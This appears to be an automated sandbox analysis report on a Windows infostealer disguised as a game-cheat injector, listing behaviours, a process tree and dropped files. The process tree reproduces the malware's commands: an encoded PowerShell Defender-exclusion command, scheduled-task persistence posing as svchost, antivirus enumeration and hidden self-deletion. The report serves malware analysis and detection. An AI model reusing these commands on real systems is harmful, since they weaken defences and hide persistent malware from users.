Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 19:22

General

  • Target
    WeedHack_Injector_V6.5.exe
  • Size 85.2MB
  • Sample260708-x3fdbsfv3m
  • SHA256 83f6b090aba405321b99689223d9e24ddecd275ccc57bac3cbb3b3372be70e2b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 8 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\WeedHack_Injector_V6.5.exe
    "C:\Users\Admin\AppData\Local\Temp\WeedHack_Injector_V6.5.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAZwB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAbQByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAcwBuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHcAYgBnACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4460
    • C:\Users\Admin\AppData\Local\Temp\stager.exe
      "C:\Users\Admin\AppData\Local\Temp\stager.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Users\Admin\AppData\Local\Temp\stager.exe
        "C:\Users\Admin\AppData\Local\Temp\stager.exe"
        3⤵
        • Downloads MZ/PE file
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1156
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsHealthService" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe" /sc onlogon /ru SYSTEM /f"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2284
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "WindowsHealthService" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe" /sc onlogon /ru SYSTEM /f
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4280
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$action = New-ScheduledTaskAction -Execute \"C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe\"\n$trigger = New-ScheduledTaskTrigger -Daily -At \"03:00AM\"\n$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries\nRegister-ScheduledTask -TaskName \"WindowsHealthWatchdog\" -Action $action -Trigger $trigger -Settings $settings -Force\n"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2792
        • C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:5580
          • C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3664
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1912
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv
                7⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:6000
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -Path \"C:\Users\Admin\AppData\Local\Temp\stager.exe\" -Force -ErrorAction SilentlyContinue; while (Test-Path \"C:\Users\Admin\AppData\Local\Temp\stager.exe\") { Start-Sleep -Seconds 1; Remove-Item \"C:\Users\Admin\AppData\Local\Temp\stager.exe\" -Force -ErrorAction SilentlyContinue }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:548
    • C:\Users\Admin\AppData\Local\Temp\SysHealthStrayX64.exe
      "C:\Users\Admin\AppData\Local\Temp\SysHealthStrayX64.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5936
      • C:\Users\Admin\AppData\Local\Temp\SysHealthStrayX64.exe
        "C:\Users\Admin\AppData\Local\Temp\SysHealthStrayX64.exe"
        3⤵
        • Adds policy Run key to start application
        • Drops file in Drivers directory
        • Drops startup file
        • Executes dropped EXE
        • Loads dropped DLL
        • Registers new Windows logon scripts automatically executed at logon.
        • Adds Run key to start application
        • Modifies registry class
        PID:3432
  • C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4268
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3220
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4524

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\VCRUNTIME140.dll
        • Size 117KB
        • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\_bz2.pyd
        • Size 85KB
        • SHA256 a4be36fffeefa8b24c1234d548da8f05558aba53c2ea7d1d2614776eaad8fbf4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\_ctypes.pyd
        • Size 139KB
        • SHA256 f8a9f7831e81b2bfba12456e589f8198114f24986bd527ac231a844565afcddb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\_hashlib.pyd
        • Size 67KB
        • SHA256 d4524b261f09806a828c62fc97e8517328b23d65ab87d20706a4bafd86bbf345
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\_lzma.pyd
        • Size 157KB
        • SHA256 f7ad11fbbb7aeaf7b6566a532a3243e3ae5f92bac480dbe5c2ef300fe2c1dabe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\_socket.pyd
        • Size 85KB
        • SHA256 ff3e97cd11bdc68798e5b3dcd5295d1efba179b7344142d50d066bbf1c2d79cd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\_ssl.pyd
        • Size 180KB
        • SHA256 43e60bbdff2fe41701f39fa25ea6a8251a2b7623ff18f980a209a451eb5e648f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _zstd.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\_zstd.pyd
        • Size 491KB
        • SHA256 536a3b521a3c42d2827ece0ccfbe40b83a2fd96a0f5496cd60b943b10e1266d4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\base_library.zip
        • Size 1.3MB
        • SHA256 d6968fa80b57e84b7d7933327968e868f28223de5592e7727a70d2143463aa20
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libcrypto-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\libcrypto-3.dll
        • Size 5.0MB
        • SHA256 e03dd02fdcfb791981c9962827cfcf495f2a47a514c1526efb57f847a9df514a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-8.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\libffi-8.dll
        • Size 38KB
        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libssl-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\libssl-3.dll
        • Size 776KB
        • SHA256 1e4bc0638682bfcbb36f4465d6a2e9944d917a60f05ecc8ddf9e96847e05e13f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python314.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\python314.dll
        • Size 6.4MB
        • SHA256 1ac15e2224581fc678bbd17728b9aa538d47b891b72c76499ef07e54cd74f151
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\ucrtbase.dll
        • Size 1.3MB
        • SHA256 2e5fb14b7bf8540278f3614a12f0226e56a7cc9e64b81cbd976c6fcf2f71cbfb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48242\unicodedata.pyd
        • Size 740KB
        • SHA256 4445b894f836e89a8b9fdcc88b5e59fbc76aca805baaf40aeb69e869978d4e6d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        qt_help_en.qm

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI55802\PyQt5\Qt5\translations\qt_help_en.qm
        • Size 16B
        • SHA256 9959b510b15d18937848ad13007e30459d2e993c67e564badbfc18f935695c85
        • MD5 SHA1 SHA512

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59362\VCRUNTIME140_1.dll
        • Size 48KB
        • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59362\_queue.pyd
        • Size 35KB
        • SHA256 cb529f77bc4665dfa3b66fae3d00ab84de1e9618d0cb94900efbf28527623c0f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _wmi.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59362\_wmi.pyd
        • Size 39KB
        • SHA256 5a7f3444f1c2f85fb5573bc330c1aea2c583912bb6f948ff81f8fd89a30e67be
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59362\base_library.zip
        • Size 1.3MB
        • SHA256 5dceabd6c37e5ef70d1751addf7acafff7a415d3a3f3391648e42677503f790a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python3.DLL

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59362\python3.DLL
        • Size 72KB
        • SHA256 be1017ca4ca8ff837efbb343d5c8f739bd67bd1c43fb41068a539b19357c0213
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_0atrw2ld.vln.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0atrw2ld.vln.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        stager.exe

        • Path C:\Users\Admin\AppData\Local\Temp\stager.exe
        • Size 9.1MB
        • SHA256 0123aec84404e75e7a15587378c63bec634dbe69d76b7d0a62b218bdc6401304
        • MD5 SHA1 SHA512 SSDEEP TLSH

        stager_debug.txt

        • Path C:\Users\Admin\AppData\Local\Temp\stager_debug.txt
        • Size 372B
        • SHA256 18cae5773a053f4df70c2617f603da3fe9a3d0318a41cb68c73ac9f74a9fd4c7
        • MD5 SHA1 SHA512 TLSH

        stager_debug.txt

        • Path C:\Users\Admin\AppData\Local\Temp\stager_debug.txt
        • Size 1KB
        • SHA256 62a58f6b376e5e74b0a368a2264c832925f9814fc339d563a55b81931ffc8015
        • MD5 SHA1 SHA512 TLSH

        memory/2792-385-0x00000235BB6E0000-0x00000235BB792000-memory.dmp

        memory/2792-384-0x00000235BB6C0000-0x00000235BB6DE000-memory.dmp

        memory/2792-381-0x00000235BB670000-0x00000235BB692000-memory.dmp

        memory/2792-386-0x00000235BB6B0000-0x00000235BB6BA000-memory.dmp

        memory/2792-387-0x00000235BBC20000-0x00000235BBC3E000-memory.dmp

        memory/3432-367-0x0000000070D40000-0x00000000730BE000-memory.dmp

        memory/3664-2783-0x00007FFAA6FC0000-0x00007FFAA7223000-memory.dmp

        memory/4268-2717-0x00007FFAAA750000-0x00007FFAAA9B3000-memory.dmp

        memory/4460-121-0x0000000005FC0000-0x000000000600C000-memory.dmp

        memory/4460-252-0x00000000070A0000-0x0000000007136000-memory.dmp

        memory/4460-251-0x0000000006EA0000-0x0000000006EAA000-memory.dmp

        memory/4460-250-0x0000000006E20000-0x0000000006E3A000-memory.dmp

        memory/4460-249-0x0000000007460000-0x0000000007ADC000-memory.dmp

        memory/4460-243-0x0000000006AC0000-0x0000000006AF6000-memory.dmp

        memory/4460-244-0x00000000701F0000-0x000000007023C000-memory.dmp

        memory/4460-248-0x0000000006D00000-0x0000000006DA3000-memory.dmp

        memory/4460-247-0x0000000006A80000-0x0000000006AA0000-memory.dmp

        memory/4460-6-0x00000000025D0000-0x0000000002606000-memory.dmp

        memory/4460-7-0x0000000004DE0000-0x000000000542A000-memory.dmp

        memory/4460-90-0x0000000005610000-0x000000000596B000-memory.dmp

        memory/4460-120-0x0000000005AC0000-0x0000000005ADE000-memory.dmp

        memory/4460-81-0x0000000005480000-0x00000000054A2000-memory.dmp

        memory/4460-84-0x0000000005590000-0x00000000055F6000-memory.dmp

        memory/4460-83-0x0000000005520000-0x0000000005586000-memory.dmp